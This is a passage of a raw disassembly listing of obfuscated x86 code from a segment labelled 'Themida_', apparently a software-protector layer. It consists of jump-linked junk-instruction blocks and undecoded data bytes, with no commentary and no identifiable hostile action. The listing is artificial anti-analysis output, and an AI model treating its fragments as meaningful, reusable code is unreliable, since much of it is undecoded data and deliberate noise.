		jmp	loc_5157C1
; ---------------------------------------------------------------------------


loc_50611F:				; CODE XREF: Themida_:005121EBj
		shr	eax, 3
		neg	eax
		push	ecx
		mov	ecx, 15F578B4h
		jmp	loc_50A2F5
; ---------------------------------------------------------------------------
		db 81h
		dd 0F213A0C1h, 6CB26811h, 34890000h, 2401E924h,	0FA010000h
		dd 1029E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50614A:				; CODE XREF: Themida_:0050A5B6j
		sub	ecx, 62EF337Dh
		add	ecx, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 62EF337Dh
		sub	ecx, 221D7C30h
		add	ecx, ebp
		add	ecx, 221D7C30h
		pop	ebp
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 63C352E7h
		neg	edi
		and	edi, 5C1B2F73h
		xchg	ebp, edi
		xchg	ecx, ebp
		xchg	ebx, ecx
		jmp	loc_50D748
; ---------------------------------------------------------------------------
		db 53h
		dd 0C32DC0BBh, 5BD83116h, 0C105E8C1h, 0E8D106E0h, 0B335D8F7h
		dd 0E980F8F2h, 879Bh, 0CA232C05h, 8BC5898Bh, 0C4832404h
		dd 8BEF0904h, 0C481242Ch, 4, 0F781D7F7h, 6E1160EAh, 806EF781h
		dd 0A3E9E6D4h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5061E3:				; CODE XREF: Themida_:005043BAj
		mov	[esp], ecx
		push	ebp
		push	ebx
		jmp	loc_507DBB
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2EFDE9h, 240C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	ebp
		push	769907BAh
		jmp	loc_5057C2
; ---------------------------------------------------------------------------


loc_506217:				; CODE XREF: Themida_:005046A3j
		push	eax
		push	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_517929
; ---------------------------------------------------------------------------
a@_dYhb		db '¹@.D/',9,'ÏYh¡',9,0
		align 4
aS_6		db 'éÓ¼',0
		dd 309AB500h, 0CCC6E9ECh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50625A:				; CODE XREF: Themida_:005126DCj
		sub	ebp, 659A4243h
		shr	ebp, 7
		add	ebp, 25285ABAh
		xor	ebp, 5ED70A17h
		push	ebp
		jmp	loc_50AAC8
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0EC810000h, 4, 81240C89h, 4ECh, 24348900h, 4EC81h
		dd 0C890000h, 3296B924h, 4C296299h, 0C8B0424h, 4C48324h
		dd 0E9240C8Bh, 1565h, 4C481h, 0BE560000h, 0C27524CBh, 348BF229h
		dd 8996E924h, 0C5010000h, 7217B850h, 0C5297241h, 0ED815858h
		dd 4, 5C242C87h, 0E9240489h, 628Dh
; ---------------------------------------------------------------------------


loc_5062E4:				; CODE XREF: Themida_:0050F44Cj
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_50630F:				; CODE XREF: Themida_:00505615j
		add	esp, 4
		add	[esp+4], edi
		jmp	loc_50AF99
; ---------------------------------------------------------------------------


loc_50631E:				; CODE XREF: Themida_:00512D09j
		mov	edx, eax
		jmp	loc_50B7CB
; ---------------------------------------------------------------------------


loc_506325:				; CODE XREF: Themida_:00510FF5j
		and	ebx, 434E2965h
		and	ebx, 2C8A6F5Fh
		or	ebx, 2B9B0370h
		sub	ebx, 2B9B2B70h
		push	eax
		jmp	loc_51476F
; ---------------------------------------------------------------------------
		db 57h
		dd 23640FBFh, 0CFA9BA17h, 0C2810505h, 686A57F0h, 2F21C281h
		dd 0FA011D25h, 1032DE9h
		db 0
; ---------------------------------------------------------------------------


loc_506361:				; CODE XREF: Themida_:0050DFEDj
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_506366:				; CODE XREF: Themida_:005103FCj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 114D5CBCh
		dec	ebx
		sub	ebx, 1772046Bh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, eax
		pop	eax
		and	eax, ebp
		pop	ebp
		shr	eax, 18h
		xor	eax, ecx
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 70A4BA0h
		not	edi
		xor	edi, 4EE44B97h
		xor	edi, 0B611FFCCh
		jmp	loc_50FFAD
; ---------------------------------------------------------------------------
		dw 875Ch
		dd 248B241Ch, 4D04E924h, 0C6810000h, 4,	8704C683h, 515C2434h
		dd 0D1FFE9h, 8BDA0100h,	0C481241Ch, 4, 0E840E9h
		db 0
; ---------------------------------------------------------------------------


loc_5063D9:				; CODE XREF: Themida_:0050BDB8j
		mov	esi, ebx
		push	71E4h
		jmp	loc_5102C8
; ---------------------------------------------------------------------------


loc_5063E5:				; CODE XREF: Themida_:0050E37Fj
		add	dword ptr [esp+8], 3B77F45h
		add	dword ptr [esp+8], 36B10E2Bh
		sub	[esp+8], esi
		sub	dword ptr [esp+8], 36B10E2Bh
		sub	dword ptr [esp+8], 3B77F45h
		jmp	loc_50FF2A
; ---------------------------------------------------------------------------


loc_50640E:				; CODE XREF: Themida_:00508C8Aj
		push	ecx
		push	791E3CAEh
		pop	ecx
		or	ecx, 430A005Ah
		jmp	loc_50C116
; ---------------------------------------------------------------------------


loc_506420:				; CODE XREF: Themida_:0050DCF1j
		not	ebp
		xchg	ebp, edi
		xchg	edi, edx
		push	eax
		mov	eax, 68D517D9h
		inc	eax
		dec	eax
		push	edi
		push	ecx
		mov	ecx, 1
		mov	edi, ecx
		pop	ecx
		jmp	loc_5117CC
; ---------------------------------------------------------------------------


loc_50643D:				; CODE XREF: Themida_:0050953Bj
		pop	edi
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_50DD1D
; ---------------------------------------------------------------------------
		db 35h
		dd 0E9AAEBC9h, 158C189h, 0C8D7E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506456:				; CODE XREF: Themida_:0050C230j
		push	eax
		jmp	loc_511F8C
; ---------------------------------------------------------------------------
dword_50645C	dd 7EE95452h, 31FFFFF2h, 0E9042474h, 0DD26h, 580CB951h
					; DATA XREF: Themida_:00502944o
		dd 0BA5248D9h, 0B726A7F8h, 30E9D101h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50647F:				; CODE XREF: Themida_:00506FCDj
		mov	[esp], ebx
		jmp	loc_51380C
; ---------------------------------------------------------------------------
		db 58h
		dd 0E924048Fh, 6CFAh, 8247429h,	8244481h, 5D8765A1h, 5624348Bh
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 19EDh,	34FFEA01h
		dd 0DBCDE924h, 14F7FFFFh, 0BB535924h, 837D96C6h, 44E1E9h
		dd 30E95E00h, 81000082h, 0ED689FF3h, 63F38134h,	0E9AE850Ch
		dd 0FFFFFEE5h, 77BD5551h, 893B8B0Dh, 49E95DE9h,	5FFFFE8h
		dd 4, 0C41BE9h,	81E78900h, 4C7h, 4C78100h, 0E9000000h
		dd 4A28h, 0E95BDA01h, 0CF39h
; ---------------------------------------------------------------------------


loc_506518:				; CODE XREF: Themida_:0050D34Fj
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_517C9D
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 241C875Ch, 0E924248Bh
		dd 428Fh, 0D3F6D930h, 88515066h, 0CF8853D9h, 0A5E9FC88h
		dd 6600003Eh, 9C2404FFh, 9764E9h, 5DEE0100h, 0FFD50BE9h
		dd 1C8751FFh, 87D3F724h, 8159241Ch, 0EBAAE1F1h,	0E9C889F5h
		dd 6AD3h, 0FFA0E958h, 1433FFFFh, 48F5C24h, 7D63E924h, 0C3890000h
		dd 8FCB8158h, 81678601h, 333994F3h, 5BDE312Ah, 315EF189h
		dd 0E06859C8h, 89000010h, 0E389241Ch, 4C381h, 0EB830000h
		dd 241C8704h, 2434895Ch, 0B163E9h, 0E9EF0100h, 0FFFFCA25h
		dd 0F5C580h, 0F5ED80C5h, 8324048Bh, 0C5FE04C4h,	0E97DC580h
		dd 0F2Eh, 230E42BFh, 81D7F75Dh,	1C682AF7h, 0E9FA01F8h
		dd 15A0h
; ---------------------------------------------------------------------------


loc_5065F8:				; CODE XREF: Themida_:005126E2j
		push	ecx
		push	6EA34B9h
		push	dword ptr [esp]
		jmp	loc_512694
; ---------------------------------------------------------------------------
		dw 0FB31h
		dd 5F2434FFh, 4C481h, 0C3810000h, 511283Ch, 0E904EC83h
		dd 9092h
; ---------------------------------------------------------------------------


loc_506620:				; CODE XREF: Themida_:00506C35j
		xor	ecx, 778338D9h
		neg	ecx
		inc	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A492F34h
		sub	edx, 1EA46F13h
		sub	ecx, edx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_50D817
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0FC96E9h
		db 0
; ---------------------------------------------------------------------------


loc_506659:				; CODE XREF: Themida_:0050EB40j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	340Ch
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	edx
		jmp	loc_50365C
; ---------------------------------------------------------------------------


loc_506680:				; CODE XREF: Themida_:005132B4j
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_506B9D
; ---------------------------------------------------------------------------
		dw 0D030h
		dd 187DE9h, 24348B00h, 0C118E9h, 241C8900h, 0B716B450h
		dd 42C780CFh, 11895E9h,	4B800h,	0F7E90000h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5066B3:				; CODE XREF: Themida_:00512E85j
		pop	ecx
		push	92Ch
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_51626D
; ---------------------------------------------------------------------------


loc_5066D4:				; CODE XREF: Themida_:00509FE7j
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_50A587
; ---------------------------------------------------------------------------
		dw 0C9BBh
		dd 147C64Ch, 6238E9DAh,	83580000h, 0EC8104C4h, 4, 50242C89h
		dd 0FE730CB8h, 0AA73BD25h, 0A8E97EFCh, 30000017h, 87DCE9ECh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506712:				; CODE XREF: Themida_:0050C1ABj
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_50C151
; ---------------------------------------------------------------------------
		db 1
		dd 4875EF0h, 24248B24h,	4EC81h,	3C890000h, 0B10AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506736:				; CODE XREF: Themida_:005092EAj
		or	eax, eax
		jz	loc_514BB5
		push	4461h
		mov	[esp], ebx
		push	edi
		jmp	loc_50DA91
; ---------------------------------------------------------------------------


loc_50674C:				; CODE XREF: Themida_:00513E7Bj
		push	edi
		jmp	loc_50D535
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 48F28075h, 5131EA80h, 0EF88D588h, 2D8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_506765:				; CODE XREF: Themida_:00515225j
		push	ebp
		push	1B567E4Dh
		pop	ebp
		xor	ebp, 1A5B1F94h
		add	ebp, 76C62AF1h
		not	ebp
		xor	ebp, 0C9B04D75h
		mov	eax, ebp
		pop	ebp
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_50A17B
; ---------------------------------------------------------------------------
		db 28h,	0F7h, 5Ah
		dd 0BE38E9h, 0E2C15900h, 4B85008h, 109F89Dh, 0EB8158C2h
		dd 3B4B2B41h, 0FFF032E9h, 4EC81FFh, 89000000h, 0A2BE2434h
		dd 892AA44Bh, 24348BF2h, 4C481h, 0B8500000h, 53B597Ah
		dd 0F38EE9h, 0BFC58000h, 0ED80FD28h, 0E8005BBFh, 14B5E959h
		dd 89660001h, 2434FFDEh, 5B2434FFh, 0E904C483h,	10EFEh
		dd 791268h, 24048900h, 36EFE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506802:				; CODE XREF: Themida_:00502E95j
		shr	edi, 7
		push	7392h
		mov	[esp], ebx
		jmp	loc_50E849
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241489h, 29D9h, 4AB0F66h, 3FE99C24h, 81000039h
		dd 0E31A7FC2h, 5AD129BCh, 6104E9h, 55575E00h, 824EDABDh
		dd 5E5C17Ah, 0E92F581h,	0E58141ECh, 678274E3h, 476FBA52h
		dd 0C14A5CE7h, 0C9E905E2h, 58000084h, 405h, 0E95500h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50686B:				; CODE XREF: Themida_:005169B8j
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5123C2
; ---------------------------------------------------------------------------
byte_50687B	db 0ACh			; DATA XREF: Themida_:0050292Co
		dd 4EC81h, 14890000h, 4EC8324h,	0F47E9h
		db 0
; ---------------------------------------------------------------------------


loc_50688D:				; CODE XREF: Themida_:0050E9F8j
		add	esp, 4
		push	26B3h
		mov	[esp], ecx
		jmp	loc_50E30B
; ---------------------------------------------------------------------------
		db 0BFh, 56h, 50h
		dd 0EFC161AFh, 4EC8302h, 0BB241C89h, 58BA54C4h,	80D5BF57h
		dd 0AFE940D1h, 8B00008Bh, 0C481241Ch, 4, 0D8286104h, 6866612Ch
		dd 89662037h, 0D4B22414h, 4DE9D028h, 57000097h,	6B2CBFBFh
		dd 7BF7812Fh, 12C6F08h,	243C8BFAh, 0FFF9BFE9h, 4C481FFh
		dd 0E9000000h, 0DB15h
; ---------------------------------------------------------------------------


loc_5068FC:				; CODE XREF: Themida_:0050E32Bj
		pop	ecx
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_512F77
; ---------------------------------------------------------------------------


loc_50690E:				; CODE XREF: Themida_:0050A705j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_511364
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3F681DEh, 29431832h,	1B055EF2h, 11DA910h, 101B2DD0h
		dd 0E95A1DA9h, 0B195h, 345580B9h, 0FBC18115h, 814A0375h
		dd 5A336BE1h, 4E1C102h,	7A51E181h, 0D9F77238h, 6D8AC181h
		dd 0C82924F2h, 0EB90E959h, 0E089FFFFh, 405h, 42D00h, 4870000h
		dd 9E95C24h, 8B000083h,	89502404h, 405E0h, 0C0830000h
		dd 24048704h, 0E689565Ch, 81E28952h, 4C2h, 9BE6800h, 3C890000h
		dd 4BF24h, 0FA290000h, 4C42E9h,	0E9FC2800h, 0B2B9h
; ---------------------------------------------------------------------------


loc_5069B0:				; CODE XREF: Themida_:00503D9Ej
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5098BA
; ---------------------------------------------------------------------------
		db 87h
		dd 8F5C241Ch, 0E95C2404h, 9BF9h, 0BD05D829h, 0E9242206h
		dd 852h, 0F0007004h, 2870B151h,	148B59C8h, 58545024h, 405h
		dd 4C08300h, 0E9240487h, 1347h,	0C5FEE530h, 0FE07E5C0h
		dd 4EC81C5h, 0E9000000h, 71AEh,	5E1F8D05h, 708B0502h, 0F02977C1h
		dd 0C1D1E9h, 0C8B6600h,	0E2895224h, 4C281h, 0EA830000h
		dd 24148704h, 243C895Ch, 0C781E789h, 4,	28F768h, 240C8900h
		dd 0D84E9h, 58C18900h, 159CE01h, 0ED815EF5h, 4,	31242C33h
		dd 2C33242Ch, 0CF7DE924h, 24890000h, 24048124h,	4, 8B2434FFh
		dd 89522414h, 4C281E2h,	0E9000000h, 56D2h, 73C8F4B9h, 1084E91Bh
		dd 4BE0001h, 0E9000000h, 0FE9Ch, 8FC331h, 32F5E9h, 0C4BD5500h
		dd 0BA08196Bh, 46EA1860h, 6C6DE9h, 0F7814700h, 545C43EDh
		dd 0B30E9h, 0E5815D00h,	7B616986h, 19C6F581h, 0BE56064Ah
		dd 2EAD2B9Fh, 392CCE81h, 0BFE9486Bh, 68FFFFEAh,	35F8266Fh
		dd 5A2434FFh, 4C481h, 0B3680000h, 8900000Eh, 65BE2434h
		dd 2961A858h, 57535EF2h, 0EB630BBFh, 5FFB8916h,	0EBC1D3F7h
		dd 6EBC108h, 8B8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_506B2D:				; CODE XREF: Themida_:005038E2j
		and	eax, ebx
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_50C4E7
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0A28E952h
		db 1, 0
; ---------------------------------------------------------------------------


loc_506B4A:				; CODE XREF: Themida_:00513362j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_517299
; ---------------------------------------------------------------------------
word_506B56	dw 2DADh		; DATA XREF: Themida_:005029D4o
		dd 6DD46003h, 0D5ECE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506B62:				; CODE XREF: Themida_:00511718j
		pop	ecx
		sub	edx, ebp
		add	edx, 645930A2h
		mov	ebp, [esp]
		jmp	loc_5153D2
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4321671Ah, 0FFC01BE9h, 89665CFFh, 88502414h,	8AEE9D8h
		db 1, 0
; ---------------------------------------------------------------------------


loc_506B8A:				; CODE XREF: Themida_:0050DF73j
		mov	ebx, 1A1D5204h
		jmp	loc_5094AB
; ---------------------------------------------------------------------------
dword_506B94	dd 24048B66h, 0E5AAE9h	; DATA XREF: Themida_:00502A30o
		db 0
; ---------------------------------------------------------------------------


loc_506B9D:				; CODE XREF: Themida_:00506685j
		mov	[esp], edi
		push	5CE11551h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5093DF
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0E2D15C24h, 5FC2814Ah, 9137DDBh, 0E95A1C57h,	6010h
		dd 81243C8Bh, 4C4h, 7DE95000h
		db 2 dup(1), 0
; ---------------------------------------------------------------------------


loc_506BD3:				; CODE XREF: Themida_:005050CEj
		add	ebp, 4
		push	ebx
		mov	ebx, 7A6A5D77h
		add	ebx, 27067BFBh
		and	ebx, 0E011F3Dh
		shl	ebx, 4
		sub	ebx, 192FCh
		jmp	loc_50C1A9
; ---------------------------------------------------------------------------
		db 56h,	54h, 8Bh
		dd 0FE92434h, 8B00002Ah, 53682424h, 8900006Dh, 8151241Ch
		dd 4ECh, 0B4AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506C1A:				; CODE XREF: Themida_:00505E9Ej
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 63D80705h
		jmp	loc_506620
; ---------------------------------------------------------------------------
		dd offset dword_450050+2E718h
		dw 0E900h
		dd 15B6h, 8B240C87h, 24D32424h,	6163E924h, 1C890000h, 95BD5524h
		dd 81493512h, 0A36AC4F5h, 550E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506C66:				; CODE XREF: Themida_:0050342Fj
		sub	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50EF68
; ---------------------------------------------------------------------------
		db 53h
		dd 154711BBh, 156848h, 4890000h, 54396824h, 0C890000h
		dd 9239E924h, 305C0000h, 0C32240Ch, 91D1E924h, 0C4830000h
		dd 0F0BF5704h, 0C10E360Eh, 0F78103EFh, 2534B700h, 8247C29h
		dd 0FFBEB8E9h, 240489FFh, 10BB7E9h, 114C6800h, 0C890000h
		dd 74AC6824h, 0C8B59F2h, 4C48124h, 81000000h, 4ECh, 4281E900h
		dd 0CD20000h, 0E4E99C24h, 83FFFFBDh, 11E904C4h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506CEF:				; CODE XREF: Themida_:0051364Fj
		mov	edx, 486A0A61h
		add	dword ptr [esp+4], 483A68E2h
		sub	[esp+4], edx
		jmp	loc_5050D3
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 87h
		dd 0F777112Ah, 0BFFCE9D5h, 4E4E0000h, 6058BB53h, 81436427h
		dd 3D1700E3h, 7BF38116h, 29F887E7h, 0F1015BDEh,	8324348Bh
		dd 0DDE904C4h, 5A000084h, 8141E9D1h, 0AD7BF4F1h, 0B10FE913h
		dd 0D5080000h, 4937E9h,	4C48300h, 0FFBD76E9h, 5AD501FFh
		dd 31242C33h, 2C33242Ch, 24248B24h, 4AB0F66h, 5CE99C24h
		dd 87FFFFBDh, 7FE9240Ch
		db 0DFh, 2 dup(0)
byte_506D77	db 64h			; DATA XREF: Themida_:00502864o
		dd 0EFE932FFh, 66000027h, 6606ACB9h, 8B66C829h,	0C483240Ch
		dd 0F3E95702h
		db 0A3h, 2 dup(0)
byte_506D93	db 8Bh			; DATA XREF: Themida_:00502824o
		dd 0EC832404h, 4212E904h, 4050000h, 5000000h, 4, 0E9240487h
		dd 3CD1h, 5104C483h, 0BB53E189h, 4, 815BD901h, 4E9h, 0C696E900h
		dd 0F5880000h, 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 0FFD45DE9h
		dd 0A9B652FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_50FB96
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 11h
		dd 0C17A9A23h, 0D3F707E3h, 643ECB81h, 0EB812839h, 27686607h
		dd 8108E3C1h, 117804F3h, 5BDF2997h, 9D0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_506E1D:				; CODE XREF: Themida_:00512751j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		jmp	loc_505B7D
; ---------------------------------------------------------------------------
		dw 0B8BDh
		dd 81285B42h, 4ECh, 24048900h, 72924EB8h, 82E4E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506E4A:				; CODE XREF: Themida_:0051086Dj
		pop	eax
		push	ax
		jmp	loc_50B06F
; ---------------------------------------------------------------------------


loc_506E52:				; CODE XREF: Themida_:0050BF25j
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	5732h
		mov	[esp], ebx
		push	4AE07900h
		push	dword ptr [esp]
		jmp	loc_505BED
; ---------------------------------------------------------------------------


loc_506E74:				; CODE XREF: Themida_:0050EFA5j
		mov	edx, 1
		jmp	loc_508D03
; ---------------------------------------------------------------------------
		dw 3489h
		dd 50E68924h, 4B8h, 58C60100h, 8704C683h, 248B2434h, 40524h
		dd 59E90000h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_506E9F:				; CODE XREF: Themida_:0050A559j
		movzx	eax, al
		jmp	loc_50A668
; ---------------------------------------------------------------------------
aBR3		db 'Á`r3',0
		db 81h,	0F1h, 0FEh
		dd 1204F14h, 0EB8159CBh, 4, 5C241C87h, 56243C89h, 0BF042CBEh
		dd 5EF78974h, 1450F781h, 0EF815D7Dh, 29C21078h,	815FF801h
		dd 4ECh, 241C8900h, 0E60684BBh,	0DBBE5609h, 294D2F25h
		dd 2434FFF3h, 4C4815Eh,	0E9000000h, 10FCDh
; ---------------------------------------------------------------------------


loc_506F00:				; CODE XREF: Themida_:0050E534j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_503F2E
; ---------------------------------------------------------------------------


loc_506F1D:				; CODE XREF: Themida_:00513A7Ej
		mov	[esp], edi
		jmp	loc_50E2CD
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF243C89h, 8B042474h, 0C483243Ch, 0A93EE904h, 0A680000h
		dd 5D074736h, 0EF01B850h, 0C529C2B2h, 2BE95558h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506F4F:				; CODE XREF: Themida_:00509B0Ej
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_50A8B1
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 4C58100h, 87000000h, 685C242Ch, 4A55h,	10E3EE9h
		dd 2474FF00h, 48F5804h,	24248B24h, 24048B66h, 4EC81h, 0C890000h
		dd 0CC09E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506F96:				; CODE XREF: Themida_:005117E0j
		xor	ebp, 1C76A03h
		shr	ebp, 4
		push	ebx
		jmp	loc_507D13
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 0D5F7EE87h, 3837E956h, 0D7870000h, 0A543E9h,	0E9EA8700h
		dd 0FFFFE0DAh, 0E904EC83h, 1D75h
; ---------------------------------------------------------------------------


loc_506FC8:				; CODE XREF: Themida_:0050927Dj
		push	78E2h
		jmp	loc_50647F
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 48FCh, 0A1B85056h, 0C151DD50h, 43E905E8h, 59FFFFEAh
		dd 0A0B8E9h, 80CBFE00h,	53E913C3h, 81FFFFE1h, 68397AEBh
		dd 81EB290Ah, 68397AC3h, 31E95D0Ah, 5900009Eh, 4C481h
		dd 0F5290000h, 8BEB015Eh, 8952242Ch, 4C281E2h, 0E9000000h
		dd 1B7Bh
dword_507028	dd 24048B66h, 499A68h, 21DE900h, 0FF530001h, 5B042474h
					; DATA XREF: Themida_:00502858o
		dd 5C24048Fh, 0E930FF66h, 0FFFFBA83h
; ---------------------------------------------------------------------------


loc_507048:				; CODE XREF: Themida_:005042C7j
		add	ebx, edi
		pop	edi
		jmp	loc_50798C
; ---------------------------------------------------------------------------
		dd 0DD0852B9h, 29BB533Bh, 4B2D5176h, 0B2DCC381h, 0D9091216h
		dd 0E368555Bh, 0E9668B42h, 5669h
; ---------------------------------------------------------------------------


loc_507070:				; CODE XREF: Themida_:00515CFFj
		add	ebp, eax
		pop	eax
		jmp	loc_51581A
; ---------------------------------------------------------------------------
		dd 235D9E25h, 5C10354Eh, 0E43557F9h, 55C6D09h, 200BAE0Dh
		dd 5558C589h, 5D2414F7h, 0E904EDC1h, 0FFFFFC69h, 0BA52E789h
		dd 13B05FFAh, 0FFBBB5E9h, 0EB814BFFh, 31769D76h, 34FFDF01h
		dd 0ABDAE924h, 0E3810000h, 30CA5411h, 0FFC7C9E9h, 0F0045AFFh
		dd 0C084E9h, 0AAE95800h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5070D3:				; CODE XREF: Themida_:0050A22Bj
		mov	eax, ebx
		pop	ebx
		jmp	loc_5079A9
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59CD0100h, 5C242C87h, 8704C783h, 248B243Ch, 0BFE95624h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5070F7:				; CODE XREF: Themida_:005160E7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 545C5753h
		add	ebp, 27D82110h
		dec	ebp
		add	ebp, 83CB87A2h
		sub	edx, 6F09263Bh
		add	edx, ebp
		add	edx, 6F09263Bh
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_511B60
; ---------------------------------------------------------------------------
word_50713E	dw 4568h		; DATA XREF: Themida_:00502888o
		dd 89000032h, 0E9542404h, 45BFh
; ---------------------------------------------------------------------------


loc_50714C:				; CODE XREF: Themida_:00504D09j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_507A2E
; ---------------------------------------------------------------------------


loc_507155:				; CODE XREF: Themida_:0051054Aj
		sub	esp, 4
		jmp	loc_5080D1
; ---------------------------------------------------------------------------
		dd 0E930FF66h, 0FFFFB963h
aNQBS		db '­-Ÿ{%éµ/',0        ; DATA XREF: Themida_:00502958o
		dw 8B00h
		dd 0E9572404h, 6286h, 56535958h, 1945E9h, 0E9FCB700h, 0FFFFEE6Fh
; ---------------------------------------------------------------------------


loc_50718C:				; CODE XREF: Themida_:0050A205j
		push	edi
		push	969h
		mov	[esp], ecx
		jmp	loc_517771
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 38EEE904h, 0C4830000h, 0CB6FE904h, 74FF0000h, 48B0424h
		dd 1FD7E924h, 0D5F70000h, 0E950DDF7h, 982Ch
dword_5071C0	dd 241CF766h, 0B901E99Ch, 0C781FFFFh, 29D66B72h, 0B850DFF7h
					; DATA XREF: Themida_:0050283Co
		dd 18E60A55h, 0C9E9C721h
